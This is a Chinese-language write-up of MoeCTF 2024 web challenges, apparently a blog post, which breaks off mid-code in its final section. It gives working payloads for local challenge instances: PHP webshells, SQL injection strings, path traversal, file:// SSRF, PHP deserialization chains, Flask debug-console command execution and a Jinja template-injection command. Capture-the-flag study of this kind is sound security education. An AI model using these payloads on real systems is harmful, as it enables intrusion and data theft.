MoeCTF 2024 web

ProveYourLove

前端页面限制了重复提交, 需要绕过, 可以通过BurpSuite抓包爆破, 或者代码直接发包

import requests

url='http://127.0.0.1:44395/questionnaire'

data = {
    'nickname': '1',
    'target': '1',
    'message': '1',
    'user_gender': 'male',
    'target_gender': 'male',
    'anonymous': 'false'
}



for i in range(300):
    res = requests.post(url=url, json=data)
    print(res.json())

在这里插入图片描述

垫刀之路01: MoeCTF?启动!

可以直接执行命令, 题目提示了在环境中, 
env --> 直接得到flag

ImageCloud前置

payload:
?url=file:///etc/passwd

题目提示了flag在 /etc/passwd里面, 直接使用file伪协议读取文件

垫刀之路02: 普通的文件上传

直接上传一句话木马, 命令执行

<?=eval($_POST[1]);?>

访问 /uploads/1.php
POST : 1=system("env");

垫刀之路03: 这是一个图床

上传1.php文件: <?php eval($_POST[1]);?>
抓包, 修改一下
Content-Type: image/png

POST: 1=system("env");

垫刀之路04: 一个文件浏览器

点一些文件, 看到url的变化, 可以尝试目录穿越 --> ../
然后找flag
?path=../../../../tmp/flag

哭死,找半天都没找到/tmp目录下去, 总是插肩而过

垫刀之路05: 登陆网站

用户名: admin123
密码: admin' or '1'='1

垫刀之路06: pop base mini moe

poc

<?php
class A{
    public $evil;
    public $a;
}

class B{
    public $b;
}

$c=new A();
$c->a=new B();
$c->evil='cat /flag';
$c->a->b='system';

echo urlencode(serialize($c));

垫刀之路07: 泄漏的密码

给了pin码, 访问 /console 路由, 输入pin码, 进入, 执行代码

>>>import os;os.popen("ls").read()
'__pycache__\napp.py\nflag\ngetPIN.py\nstatic\ntemplates\n'
>>> os.popen("cat flag").read()
'moectf{DoNT_usINg-Flask_by_de6UG-m0D_aNd-IeAk_youR_Pin18}'

pop moe

<?php

class class000 {
    private $payl0ad = 0;
    protected $what;

    public function __destruct()
    {
        $this->check();
    }

    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    private $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

if(isset($_GET['data']))
{
    $a = unserialize($_GET['data']);
}
else {
    highlight_file(__FILE__);
}

poc

<?php

class class000 {
    private $payl0ad = 1;
    public $what;   //new class001()
}
class class001{
    public $payl0ad;  //dangerous
    public $a; //new class002()

}

class class002{
    public $sec; //new class003()

}
class class003{
    public $mystr;//phpinfo()

}

$a= new class000();
$a->what = new class001();
$a->what->a = new class002();
$a->what->payl0ad='dangerous';
$a->what->a->sec=new class003();
$a->what->a->sec->mystr='phpinfo();';

echo urlencode(serialize($a));

静态网页

找一找, 点击换衣服,网络里面会多出几个get请求, 可以找到flag的一个路径

final1l1l_challenge.php

在这里插入图片描述

<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
    if (!is_numeric($a) && !is_numeric($b)) {
        if ($a == 0 && md5($a) == $b[$a]) {
            echo $flag;
        } else {
            die('noooooooooooo');
        }
    } else {
        die( 'Notice the param type!');
    }
} else {
    die( 'Where is your param?');
}

数字加上字母绕过, 然后b数组传参a的md5值

?a=0q
b[0q]=189d32c1d8b08649849682bf9711b2be

电院_Backend

sql注入, or被过滤了, 用union select 绕过

123@qq.com' union select 1,2,3 # 

勇闯铜人阵

import re
from pydash import trim
import requests
from bs4 import BeautifulSoup

url1 = "http://127.0.0.1:47913/restart"
url2 = "http://127.0.0.1:47913/"

sess = requests.session()
direct_list = ["北方", "东北方", "东方", "东南方", "南方", "西南方", "西方", "西北方"]


def parse_status(html):
    bs = BeautifulSoup(html, "html.parser")
    coin = trim(bs.find('h1', id='status').text)
    # 一枚硬币
    if len(coin) == 1:
        return direct_list[int(coin) - 1]
    # 两枚硬币
    else:
        nums = re.findall(r'\d', coin)
        return direct_list[int(nums[0]) - 1] + '一个,' + direct_list[int(nums[1]) - 1] + '一个'


if __name__ == "__main__":
    # restart
    sess.get(url=url1)
    # start
    body = {
        "player": "sxrhhh",
        "direct": "弟子明白",
    }
    r = sess.post(url=url2, data=body)
    # 循环
    for i in range(0, 5):
        payload = parse_status(r.text)
        body = {
            "player": "sxrhhh",
            "direct": payload,
        }
        r = sess.post(url=url2, data=body)
        # 打印结果
        bs = BeautifulSoup(r.text, "html.parser")
        status = trim(bs.find('h1', id='status').text)
        print(status)

ImageCloud

app.py

from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename

app = Flask(__name__)

UPLOAD_FOLDER = 'static/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    return '''
    <h1>图片上传</h1>
    <form method="post" enctype="multipart/form-data" action="/upload">
      <input type="file" name="file">
      <input type="submit" value="上传">
    </form>
    <h2>已上传的图片</h2>
    <ul>
    ''' + ''.join(
        f'<li><a href="/image?url=http://localhost:5000/static/{filename}">{filename}</a></li>'
        for filename in uploaded_files
    ) + '''
    </ul>
    '''

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return '未找到文件部分', 400
    file = request.files['file']

    if file.filename == '':
        return '未选择文件', 400
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        ext = filename.rsplit('.', 1)[1].lower()

        unique_filename = f"{len(uploaded_files)}_{filename}"
        filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

        file.save(filepath)
        uploaded_files.append(unique_filename)

        return redirect(url_for('index'))
    else:
        return '文件类型不支持', 400

@app.route('/image', methods=['GET'])
def load_image():
    url = request.args.get('url')
    if not url:
        return 'URL 参数缺失', 400

    try:
        response = requests.get(url)
        response.raise_for_status()
        img = Image.open(BytesIO(response.content))

        img_io = BytesIO()
        img.save(img_io, img.format)
        img_io.seek(0)
        return send_file(img_io, mimetype=img.get_format_mimetype())
    except Exception as e:
        return f"无法加载图片: {str(e)}", 400

if __name__ == '__main__':
    if not os.path.exists(UPLOAD_FOLDER):
        os.makedirs(UPLOAD_FOLDER)
    app.run(host='0.0.0.0', port=5000)

app2.py

from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename
import socket
import random

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def get_mimetype(file_path):
    mime = mimetypes.guess_type(file_path)[0]
    if mime is None:
        try:
            with Image.open(file_path) as img:
                mime = img.get_format_mimetype()
        except Exception:
            mime = 'application/octet-stream'
    return mime

def find_free_port_in_range(start_port, end_port):
    while True:
        port = random.randint(start_port, end_port)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(('0.0.0.0', port))
        s.close()
        return port 

@app.route('/')
def index():
    return '''
    <h1>图片上传</h1>
    <form method="post" enctype="multipart/form-data" action="/upload">
      <input type="file" name="file">
      <input type="submit" value="上传">
    </form>
    <h2>已上传的图片</h2>
    <ul>
    ''' + ''.join(f'<li><a href="/image/{filename}">{filename}</a></li>' for filename in uploaded_files) + '''
    </ul>
    '''

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return '未找到文件部分', 400
    file = request.files['file']

    if file.filename == '':
        return '未选择文件', 400
    if file and allowed_file(file.filename):

        filename = secure_filename(file.filename)
        ext = filename.rsplit('.', 1)[1].lower()

        unique_filename = f"{len(uploaded_files)}_{filename}"
        filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

        file.save(filepath)
        uploaded_files.append(unique_filename)

        return redirect(url_for('index'))
    else:
        return '文件类型不支持', 400

@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    if os.path.exists(filepath):
        mime = get_mimetype(filepath)
        return send_file(filepath, mimetype=mime)
    else:
        return '文件未找到', 404

if __name__ == '__main__':
    if not os.path.exists(UPLOAD_FOLDER):
        os.makedirs(UPLOAD_FOLDER)
    port = find_free_port_in_range(5001, 6000)
    app.run(host='0.0.0.0', port=port)

app.py的端口是5000, app2.py的端口是5001-6000的随机一个
通过附件得知在 /uploads/目录下有一个 flag.jpg图片 应该就是flag所在

但是app.py只能访问到 /static/ 目录下的图片, 无法访问到 /uploads下的flag图片,
但是app2.py 里面 可以通过/image/<filename> 访问 /uploads 目录下的图片
但是app2.py运行的端口是不出网的, 无法直接访问
然后app.py里面的image路由下存在 url参数,随便上传一张图片, 可以发现它是这样去访问到图片的
?url=http://localhost:5000/static/0_huahua.png

所以就可以通过爆破出 app2.py运行的端口, 通过这个url参数去访问app2.py运行的服务

在这里插入图片描述

moectf{cetTebR@Te_YOU-aTtAck_To-mY_tMag3_CT0UdhHHHhH200}

who’s blog?

题目要去给一个id, 然后有回显 , 很容易想到 ssti, 直接用现成的一个payload就行
?id={{lipsum.__globals__['os'].popen('env').read()}}

PetStore

给了源码, 可以发现里面存在一个 pickle的反序列化, 可以进行利用执行命令

from flask import Flask, request, jsonify, render_template, redirect
import pickle
import base64
import uuid

app = Flask(__name__)

class Pet:
    def __init__(self, name, species) -
上一篇:无人机飞手入门指南


下一篇:数据结构及算法--排序篇